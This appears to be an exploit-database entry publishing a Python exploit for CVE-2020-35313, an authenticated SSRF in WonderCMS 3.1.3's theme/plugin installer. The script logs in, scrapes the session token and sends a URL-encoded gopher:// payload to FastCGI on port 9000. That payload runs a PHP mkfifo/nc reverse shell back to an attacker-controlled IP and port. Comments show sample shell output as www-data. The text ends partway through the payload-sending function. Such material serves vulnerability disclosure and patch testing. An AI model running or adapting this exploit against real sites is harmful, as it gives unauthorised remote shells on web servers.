发布 2020-12-02 漏洞条目

WonderCMS 3.1.3 – Authenticated SSRF to Remote Remote Code Execution

Exploit Source

# Exploit Title: WonderCMS 3.1.3 - Authenticated SSRF to Remote Remote Code Execution

# Date: 2020-11-27

# Exploit Author: zetc0de

# Vendor Homepage: https://www.wondercms.com/

# Software Link: https://github.com/robiso/wondercms/releases/download/3.1.3/WonderCMS-3.1.3.zip

# Version: 3.1.3

# Tested on: Ubuntu 16.04

# CVE : CVE-2020-35313

# WonderCMS is vulnerable to SSRF Vulnerability.

# In order to exploit the vulnerability, an attacker must have a valid authenticated session on the CMS.

# The theme/plugin installer not sanitize the destination of github/gitlab url, so attacker can pointing te destinaition to localhost.

# when the attacker can pointing the request to localhost, this lead to SSRF vulnerability.

# the most high impact lead to RCE with gopher scheme and FastCGI running in port 9000

# python exploit.py

# [+] Getting Token

# [+] Sending payload

# [+] Get reverse shell

# nc -lnvp 1234

# Connection from 192.168.43.103:56956

# /bin/sh: 0: can't access tty; job control turned off

# $ whoami

# www-data

# $

import requests

from bs4 import BeautifulSoup

from termcolor import colored

from time import sleep

print(colored('''

\ \ /_ \ \ | _ \ __| _ \ __| \ | __|

\ \ \ /( |. | | |_| / ( |\/ |\__ \

\_/\_/\___/_|\_|___/___|_|_\\___|_| _|____/

------[ SSRF to Remote Code Execution ]------

''',"blue"))

loginURL = "http://wonder.com/loginURL"

password = "GpIyq0RH"

lhost = "192.168.43.66"

lport = "1234"

payload = "gopher://127.0.0.1:9000/_%2501%2501%2500%2501%2500%2508%2500%2500%2500%2501%2500%2500%2500%2500%2500%2500%2501%2504%2500%2501%2501%2505%2505%2500%250F%2510SERVER_SOFTWAREgo%2520/%2520fcgiclient%2520%250B%2509REMOTE_ADDR127.0.0.1%250F%2508SERVER_PROTOCOLHTTP/1.1%250E%2503CONTENT_LENGTH132%250E%2504REQUEST_METHODPOST%2509KPHP_VALUEallow_url_include%2520%253D%2520On%250Adisable_functions%2520%253D%2520%250Aauto_prepend_file%2520%253D%2520php%253A//input%250F%2517SCRIPT_FILENAME/usr/share/php/PEAR.php%250D%2501DOCUMENT_ROOT/%2500%2500%2500%2500%2500%2501%2504%2500%2501%2500%2500%2500%2500%2501%2505%2500%2501%2500%2584%2504%2500%253C%253Fphp%2520system%2528%2527rm%2520/tmp/f%253Bmkfifo%2520/tmp/f%253Bcat%2520/tmp/f%257C/bin/sh%2520-i%25202%253E%25261%257Cnc%2520{}%2520{}%2520%253E/tmp/f%2527%2529%253Bdie%2528%2527-----Made-by-SpyD3r-----%250A%2527%2529%253B%253F%253E%2500%2500%2500%2500".format(lhost,lport)

r = requests.session()

data = { "password" : password }

page = r.post(loginURL,data)

if "Wrong" in page.text:

print(colored("[!] Exploit Failed : Wrong Credential","red"))

exit()

print(colored("[+] Getting Token","cyan"))

soup = BeautifulSoup(page.text, "html.parser")

allscript = soup.find_all("script")

no = 0

for i in allscript:

if "rootURL" in str(i):

url = i.string.split("=")[1].replace('"','').strip(";").lstrip(" ")

elif "token" in str(i):

token = i.string.split("=")[1].replace('"','').strip(";").lstrip(" ")

def sendPayload(req,url,payload,token):

getShell = url + "?installThemePlugin=" + payload + "&type=plugins&token=" + token

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